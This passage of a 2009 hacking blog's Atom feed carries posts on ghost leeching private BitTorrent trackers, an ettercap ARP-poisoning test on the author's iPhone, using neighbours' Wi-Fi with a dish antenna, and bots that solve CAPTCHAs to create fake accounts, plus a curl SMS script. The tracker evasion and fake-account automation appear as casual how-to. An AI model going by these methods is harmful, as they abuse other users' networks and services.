src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-1044215970251143661</id><published>2009-06-22T11:34:00.010+02:00</published><updated>2009-07-04T10:00:24.282+02:00</updated><title type='text'>Bittorrent: Ghost leeching is not dead !</title><content type='html'>&lt;div style="text-align: justify;"&gt;I'm sure that lot of you user the bittorrent protocol to download movies &amp;amp; music. You know, when you are on these trackers, you have to maintain a certain ratio, usually .75 or 1. However, this is almost impossible to have this ratio, unless you've a 100Mbit symmetric Internet connection.&lt;br /&gt;&lt;br /&gt;Typical solutions are to "cheat", by modifying the request send to the tracker. This is extremely easy to do, so I won't dig in that.  However, cheating is BAD, and trackers have mechanisms to detect cheaters. At that time, there was "Oink" which was well known for its "cheater paranoia", and had a very good mechanism to detect them. Well, I tried 3x to cheat on this tracker and I got fired right away.&lt;br /&gt;&lt;br /&gt;When you are in a tracking system, there is a very simple equation that must be fulfilled, this is:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;outgoing packets == incoming packets&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_VjvtY-L1RNE/Sj9eEEW5uoI/AAAAAAAAABw/eVh5eG_wapo/s1600-h/ok.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 227px;" src="http://3.bp.blogspot.com/_VjvtY-L1RNE/Sj9eEEW5uoI/AAAAAAAAABw/eVh5eG_wapo/s320/ok.png" alt="" id="BLOGGER_PHOTO_ID_5350098306321726082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;In other words, if someone uploads something, some other client will download this same file and vice-versa. If there is more uploaded data than downloaded, it definitely  means that someone is cheating.  Actually, the tracker cannot be that rigorous because the announcement are not done at the same time,  so it probably uses different heuristics to determine whether a user is a cheater or not.&lt;br /&gt;&lt;br /&gt;Here comes the plan: let's &lt;span style="font-weight: bold;"&gt;officially &lt;/span&gt;download a file from the tracker. Once you are getting it, you save all the seeders that are offering you the file (do a netstat for instance). So now, you have a list of IP addresses.  Now, you connect on an another machine (with a different IP), and you start downloading the same file, but this time, without contacting the tracker. Basically, you can just alter the torrent file. After that, you inject your peers previously saved to your bittorrent client and TADaaa, you start downloading.&lt;br /&gt;&lt;br /&gt;So what will happen next ? The seeders (uploaders), will report to the tracker they have uploaded X bytes. It will work once, twice, but after a while, the tracker will see that the seeder is uploading too much data compared to the people being in the network and will eventually fire him.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_VjvtY-L1RNE/Sj9eEWvWhxI/AAAAAAAAAB4/ItZ9Nfn8bYI/s1600-h/bad.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 227px;" src="http://1.bp.blogspot.com/_VjvtY-L1RNE/Sj9eEWvWhxI/AAAAAAAAAB4/ItZ9Nfn8bYI/s320/bad.png" alt="" id="BLOGGER_PHOTO_ID_5350098311256114962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For the experiment, I modified the ctorrent client to support peer injection (PI)  and disable the communication to the tracker when using PI.  The client downloads indefinitely when it is in PI mode, so the seeder will report a high amount of uploaded data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Be careful not to use the PI mode on your own machine, because this is extremely easy to detect this kind of download.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-1044215970251143661?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/1044215970251143661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/bittorrent-ghost-leeching-is-not-dead.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1044215970251143661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1044215970251143661'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/bittorrent-ghost-leeching-is-not-dead.html' title='Bittorrent: Ghost leeching is not dead !'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_VjvtY-L1RNE/Sj9eEEW5uoI/AAAAAAAAABw/eVh5eG_wapo/s72-c/ok.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-3880457343464434176</id><published>2009-06-21T22:35:00.007+02:00</published><updated>2009-07-04T10:06:23.471+02:00</updated><title type='text'>IPhone: Man in the middle attack very easy</title><content type='html'>&lt;div style="text-align: justify;"&gt;I got a the new IPhone 3GS. Nothing to say, it's a very nice piece of software ! I cannot see the time the dev-team will release the jailbreak to have a real computer in the pocket :).&lt;br /&gt;I was just trying to do a man in the middle attack on my iPhone to see what happened. I used &lt;a href="http://ettercap.sourceforge.net/"&gt;ettercap&lt;/a&gt;, and did an ARP poisoning attack. Here is the result:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/Sj6alMpR7qI/AAAAAAAAABo/jEFF0A50YYY/s1600-h/photo.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 214px; height: 320px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/Sj6alMpR7qI/AAAAAAAAABo/jEFF0A50YYY/s320/photo.png" alt="" id="BLOGGER_PHOTO_ID_5349883371202932386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Huh, no way, I cannot see the certificate 0o ! ok let's believe it and click "Accept"... and you simply get the password :).  Firefox is more agressive when something goes wrong (ie bad certificate), but here, the end-user probably doesn't what to do and simply click "Accept".&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-3880457343464434176?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/3880457343464434176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/iphone-man-in-middle-attack-very-easy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/3880457343464434176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/3880457343464434176'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/iphone-man-in-middle-attack-very-easy.html' title='IPhone: Man in the middle attack very easy'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_VjvtY-L1RNE/Sj6alMpR7qI/AAAAAAAAABo/jEFF0A50YYY/s72-c/photo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-901424950470869897</id><published>2009-06-16T08:49:00.010+02:00</published><updated>2009-07-04T10:01:30.407+02:00</updated><title type='text'>Poor man's wireless</title><content type='html'>&lt;div style="text-align: justify;"&gt;I am not cheap, I am just a student. You know, here in Switzerland, Internet costs a lot: you've to pay your "link" (phone or TV - 20$/month), then the connexion is damn expensive for a single guy (50$/month). Moreover, it is well known that when you are a student, you have no money.&lt;br /&gt;&lt;br /&gt;Thus, I decided to borrow my neigbourgs wireless connexion. Ok, I agree, nothing new here. We will say for the purpose of this article that an open connexion means a connexion that is "shareable" and we will only be interested in them.&lt;br /&gt;&lt;br /&gt;When I got my first laptop, I was always scanning around trying to find wireless. It was not very conclusive, or sometimes I got such a poor quality signal that it was impossible to connect. Piano piano, I was looking toward a solution to increase this signal strength. When you speak about signal gain, you cannot think about not using an antenna. Good, that was my starting point: getting an antenna. However, few questions arised:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Which antenna ?&lt;/li&gt;&lt;li&gt;How to connect it with the computer ?&lt;/li&gt;&lt;li&gt;How much does it cost ?&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;At that time, wireless hardware was more expensive that today, and difficult to find a dealer that accepts to ship to Switzerland... Anyway, I heard that an omnidirectional antenna is not that bad. I knew what an omnidirectional antenna was, well, at least more or less. Usually this is the kind of antenna you can see everywhere.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://microecia.com.br/images/ANTENA%20WIRELESS%20OMNI%205DBI.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 500px;" src="http://microecia.com.br/images/ANTENA%20WIRELESS%20OMNI%205DBI.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;center&gt;Omnidirectional antenna&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;At that time, I found a wifi-card on eBay: Senao 802.11b, 200mW with a mmcx connector. Actually, I was looking for a powerful card (I had the idea "the more powerful the best"), but also for a card accepting injection, and this criterion narrowed down the panel of wireless cards to 3 or 4 cards. This one was right in my budget !&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i1.ebayimg.com/01/i/000/c9/6c/ad7a_1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://i1.ebayimg.com/01/i/000/c9/6c/ad7a_1.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;center&gt;My first PCMCIA card&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;When I received it, I was so happy to discover there were tens of network in my neigbourhood ! Moreover, lot of them were open :) (which is no more the case toay :( ). I was happy with this solution, with my Senao pcmcia card and my omnidirectional antenna. Obviously I was happy for few days, but after a while, I wanted more: how can I have a bigger signal strength, less noise, higher bitrate and a reliable connexion ? After studying all types of antennas, I figured out that a parabolic antenna was the top choice for my use (we will see why maybe later on). I finally ordered a 20.5dbi parabolic dish somewhere in France. So now, I still had my pcmcia card, with a big coax cable going on the parabolic antenna.&lt;br /&gt;&lt;br /&gt;When I bought the Senao, I did not really take into account the fact that the card was only 802.11b compatible: how can you connect to a network that accepts only 802.11g ? Even worse, how can you sniff/jam/inject/replay (whatever) packets if you are not able to intercept them ? Raaaa, it was a mistake ! I decided to sell my Senao to buy another one, supporting 802.11g. I wanted a card  fulfilling the following criterion:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Atheros based chipset&lt;/li&gt;&lt;li&gt;Powerfull&lt;/li&gt;&lt;li&gt;External antenna connectors&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Once again, it was not very easy to find. I finally bought the PCMCIA ubiquity SMC (&lt;a href="http://www.ubnt.com/downloads/srx_datasheet.pdf"&gt;SuperRangeExpress&lt;/a&gt;) 300mW, 802.11a/b/g with an MMCX connector. This card has pretty good performances, despite the fact you cannot use it without an external antenna. I could really feel the difference between the two cards, both in term of speed and reliability.&lt;br /&gt;&lt;br /&gt;Now that I was fully armed, with my parabolic dish, I was able to connect to any network in range.&lt;br /&gt;&lt;br /&gt;It was great, until I started to live with my girlfriend: she also wanted an internet access with her laptop and I definitely still didn't want to pay for internet when you can get it "for free". Now, I was facing a new problem: how can I provide internet to my girlfriend, too ?&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Connect my laptop to the antenna, as usual, and setting my laptop as an access point. This might work, but what if my computer is turned off ?&lt;/li&gt;&lt;li&gt;Finding a was to efficiently repeat my neigborh's signal without the need of a computer in between. Huh, actually this device already exists and is called a "repeater".&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;I couldn't afford to buy a repeater, there were damn expensive, actually they still are. After some hours of google search, I figured out that a firmware called &lt;a href="http://www.dd-wrt.com/dd-wrtv3/index.php"&gt;dd-wrt&lt;/a&gt; had a sort of "repeater" mode. Actually, it was totally unstable, but this was exactly what I was looking for. Moreover, at my parent's house I already had a linksys wrt54g, so I immediately flashed it. It was working pretty well, with a nice graphical interface.  I decided to buy another one for my girlfriend and I. That was it, we had this linksys router on my balcony, attached to the parabolic dish and it was working damn well :). In a nutshell, we are repeating an unencrypted signal and set a new encrypted virtual network -&gt; that's a bit paradoxical.&lt;br /&gt;Then, I figured out that the buffalo whr-hp-g54 was more powerful (it got an amplifier), nicer, smaller and about half the price of the linksys one (~50$).&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.voipminic.com/shop/images/WHR-HP-G54CW.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 416px; height: 368px;" src="http://www.voipminic.com/shop/images/WHR-HP-G54CW.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;center&gt;Buffalo whr-hp-g54&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This was a pretty good choice actually and I am still using it. It has been resisting weather constraints for more than 3 years without any failure, it's just impressive. However, I confess that sometimes it's not working totally properly: for some reasons the bitrate is extremely slow.&lt;br /&gt;&lt;br /&gt;So why "poor man's wireless" ? That's simple: router + antenna + connectors = 100$ which are around 1month and a half  of internet.&lt;br /&gt;&lt;br /&gt;Now that we have all the material, the fun can begin !&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-901424950470869897?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/901424950470869897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/poor-mans-wireless.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/901424950470869897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/901424950470869897'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/poor-mans-wireless.html' title='Poor man&apos;s wireless'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-6391337413463084257</id><published>2009-06-13T08:46:00.017+02:00</published><updated>2009-06-13T09:33:48.559+02:00</updated><title type='text'>ability to solve CAPTCHAS == Threat ?</title><content type='html'>That's interesting to see how many web sites use&lt;a href="http://en.wikipedia.org/wiki/CAPTCHA"&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;CAPTCHAS&lt;/span&gt;&lt;/a&gt; nowadays. This  &lt;a href="http://en.wikipedia.org/wiki/Reverse_Turing_test" title="Reverse Turing test"&gt;reverse Turing test&lt;/a&gt; has been used for years now, to differentiate between a human and a machine, to avoid the problem of "spam accounts". To me, they are becoming more and more unreadable (cf google &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;captcha&lt;/span&gt;), because they are trying to increase the security by reducing the segmentation, rotating/difforming the letters, etc.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VjvtY-L1RNE/SjNPWgC41pI/AAAAAAAAABY/aMCEVQpaPL0/s1600-h/Captcha.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 70px;" src="http://4.bp.blogspot.com/_VjvtY-L1RNE/SjNPWgC41pI/AAAAAAAAABY/aMCEVQpaPL0/s320/Captcha.jpg" alt="" id="BLOGGER_PHOTO_ID_5346704430596675218" border="0" /&gt;&lt;/a&gt;&lt;center&gt;Google &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;captcha&lt;/span&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Do the end-user really care about these &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;captchas&lt;/span&gt; ? I'm not really sure... However, I can see multiple ways to take advantages from them. Imagine for example you want to make your website more known on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Stumbleupon&lt;/span&gt; or &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Digg&lt;/span&gt;. An easy solution would be to create multiple accounts and vote for your site ("I like it") in order you to be in the top ranking. By using a web bot - like the one explained in the previous article for the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;SMS&lt;/span&gt; - makes the job extremely easy to achieve.&lt;br /&gt;&lt;br /&gt;But, the only point is that we'd like to automatize the job of creating new accounts and therefore, solving &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;captchas&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/SjNSBiiyFqI/AAAAAAAAABg/0IPIgPVFKR4/s1600-h/image.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 57px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/SjNSBiiyFqI/AAAAAAAAABg/0IPIgPVFKR4/s320/image.jpg" alt="" id="BLOGGER_PHOTO_ID_5346707369024951970" border="0" /&gt;&lt;/a&gt;&lt;center&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;StumbleUpon&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;captchas&lt;/span&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Current methods claim they can solve them with a probability of 30% (for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Google's&lt;/span&gt; one), using pattern matching techniques &lt;a href="http://en.wikipedia.org/wiki/Support_vector_machine"&gt;like &lt;/a&gt;&lt;span style="text-align: center;" org="" wiki="" support_vector_machine=""&gt;&lt;a href="http://en.wikipedia.org/wiki/Support_vector_machine"&gt;support vector machines&lt;/a&gt;. That's not bad, but I definitely think that there is room for improvement. Few techniques to solve them have be explained &lt;a href="http://network-security-research.blogspot.com/2008/08/around-captcha.html"&gt;here.&lt;/a&gt; On the other hand, websites proposing &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;captchas&lt;/span&gt; let you try few times, so it's not a big deal if you have to let your bot run 3 times longer to get the &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_12"&gt;desired&lt;/span&gt; result.&lt;br /&gt;&lt;br /&gt;Well, I'm really interested to dig into this problem as soon as I'll have a bit more time to fuck around :)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-6391337413463084257?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/6391337413463084257/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/ability-to-solve-captchas-threat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6391337413463084257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6391337413463084257'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/ability-to-solve-captchas-threat.html' title='ability to solve CAPTCHAS == Threat ?'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VjvtY-L1RNE/SjNPWgC41pI/AAAAAAAAABY/aMCEVQpaPL0/s72-c/Captcha.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-1408886256231535893</id><published>2009-06-11T14:56:00.009+02:00</published><updated>2009-07-04T10:03:47.055+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='curl'/><category scheme='http://www.blogger.com/atom/ns#' term='sms'/><title type='text'>Small hack to send free sms, totally in bash...</title><content type='html'>&lt;div style="text-align: justify;"&gt;Let's start with my first real post. I'll present you the power of &lt;a href="http://curl.haxx.se/"&gt;curl&lt;/a&gt;.  As you probably know, curl is "A Client that groks URLs".  For this example, I will use a website that provides SMS service for free.&lt;br /&gt;&lt;br /&gt;I was kind of pissed of to have to login every time I wanted to send an SMS/MMS... Well, it takes around 40-50 seconds to enter the login, password, then write the message, enter the phone number of the friend and ship it... If you do it, let's say 10 times daily, it's around 10 minutes that are completely lost. Thus, I decided to a shell script that automatizes this, and launch the script from my shell.&lt;br /&gt;&lt;br /&gt;First, let's see how it works:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;$ sms sab "Hi :)"&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  Remaining SMS:  481 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;$  sms 0794046789 "Hi man, I'm sending you an SMS from my box :)"&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  Remaining SMS:  480&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;As you can see, it acceps both names &amp;amp; numbers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First, in a file called &lt;span style="font-style: italic;"&gt;contact.txt &lt;/span&gt;I write all the contacts I wish to have the number, the name and the number are separated by a TAB :&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;$ cat contact.txt&lt;br /&gt;toufic  0793023393&lt;br /&gt;eric    0783034336&lt;br /&gt;sab     0773346337&lt;br /&gt;guigui  0768228392&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Then, it becomes extremely easy to get the number if it exists in this file:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;NUMBER=`cat $CONTACT |  grep $1 | awk -F"\t" '{print $2}'`&lt;br /&gt;if [ ! -n "$NUMBER" ]&lt;br /&gt;then&lt;br /&gt; NUMBER=$1&lt;br /&gt;fi&lt;/pre&gt;&lt;br /&gt;Now that we have the number, we can do some processing on the number and the message&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;PREFIX=`echo ${NUMBER:0:3}`&lt;br /&gt;SURNUMBER=`echo ${NUMBER:3:10}`&lt;br /&gt;NUMBER_LENGTH=`echo $NUMBER | wc -m`&lt;br /&gt;MESS_LEN=`echo $MESSAGE | wc -m`&lt;br /&gt;MAX_LENGTH=600&lt;br /&gt;if [ "$MESS_LEN" -gt "$MAX_LENGTH" ]&lt;br /&gt;then&lt;br /&gt; echo "MESSAGE TOO LONG (Max 600 char). Exiting..."&lt;br /&gt; exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ "$NUMBER_LENGTH" -ne "11" ]&lt;br /&gt;then&lt;br /&gt; echo "Bad Number ($NUMBER_LENGTH)"&lt;br /&gt; exit 1&lt;br /&gt;fi&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Here we want a message being smaller than 600 chars and a correct number, ie with 11 digits. Note that the preffix is 3 digits long. Now, we want to set up the connexion with the server (ie to login) and get the cookies:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;# Initial connexion. The cookie is saved in $COOKIE&lt;br /&gt;$COMMAND $SITE/$PAGE -D $COOKIE &gt; /dev/null&lt;br /&gt;# Now ship the message with the correct number&lt;br /&gt;$COMMAND -e $SITE/$PAGE -A "Opera/9.23" -D $COOKIE2 -b $COOKIE \&lt;br /&gt;-d  "isiwebuserid=$LOGIN&amp;amp;isiwebpasswd=$PASS&amp;amp;isiwebjavascript=No&amp;amp;isiwebappid=mobile&amp;amp;isiwebmethod=authenticate&amp;amp;isiweburi=%2Fyouth%2Fsms_senden-fr.aspx&amp;amp;isiwebargs=login&amp;amp;login.x=0&amp;amp;login.y=0" \&lt;br /&gt;$SITE/$PAGE_AUTH &gt; /dev/null&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ok, I agree, it sucks here. I retrieved this lonnnnng URL by using &lt;a href="http://http//www.parosproxy.org/"&gt;Paros &lt;/a&gt;.  So basically, we do:&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;-e: Sets the Referer as being the official page (ie $SITE/$PAGE).&lt;/li&gt;&lt;li&gt;-A: the User-agent, here Opera.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;-D : Saves the new cookie.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;-b : Use the previously saved cookie&lt;/li&gt;&lt;li&gt;-d : Send a POST request to "$SITE/$PAGE_AUTH". You can see that the request has $LOGIN and $PASS&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Now we are logged in and we got the cookie for the session.  We are now able to send the SMS:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;$COMMAND -e $SITE/$PAGE -A "Opera/9.23" -b $COOKIE2 \&lt;br /&gt;-d "__EVENTTARGET=&amp;amp;__EVENTARGUMENT=&amp;amp;__VIEWSTATE_SCM=1&amp;amp;__VIEWSTATE=&amp;amp;CobYouthSMSSenden%3AtxtMessage=$MESSAGE&amp;amp;CobYouthSMSSenden%3AtxtNewReceiver=$NUMBER&amp;amp;CobYouthSMSSenden%3AbtnSend=Envoyer&amp;amp;FooterControl%3AhidNavigationName=Envoi+de+SMS&amp;amp;FooterControl%3AhidMailToFriendUrl=yoblabla.aspx" $SITE/$PAGE_SMS &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As you can see, $MESSAGE and $NUMBER have been replaced in the request. Again, I found this url by using Paros.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VjvtY-L1RNE/SjEsvJJEwgI/AAAAAAAAABM/lKPZtPSMhjk/s1600-h/2009-06-11-154019_1281x876_scrot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 298px;" src="http://4.bp.blogspot.com/_VjvtY-L1RNE/SjEsvJJEwgI/AAAAAAAAABM/lKPZtPSMhjk/s400/2009-06-11-154019_1281x876_scrot.png" alt="" id="BLOGGER_PHOTO_ID_5346103421084942850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;That's it... we are now able to send sms from the command line for free, without having to log in every time. Note that we can take back the result from curl and do some parsing on it. This is how I get back the "Remaining SMS".  A cool application is for example when you are monitoring a special activity on your network and you would like to be informed when something strange is happening... just call the sms script and it will inform you.&lt;br /&gt;&lt;br /&gt;Typically, I used this kind of technique to set up automatically accounts and vote to get invitations to a concert.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-1408886256231535893?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 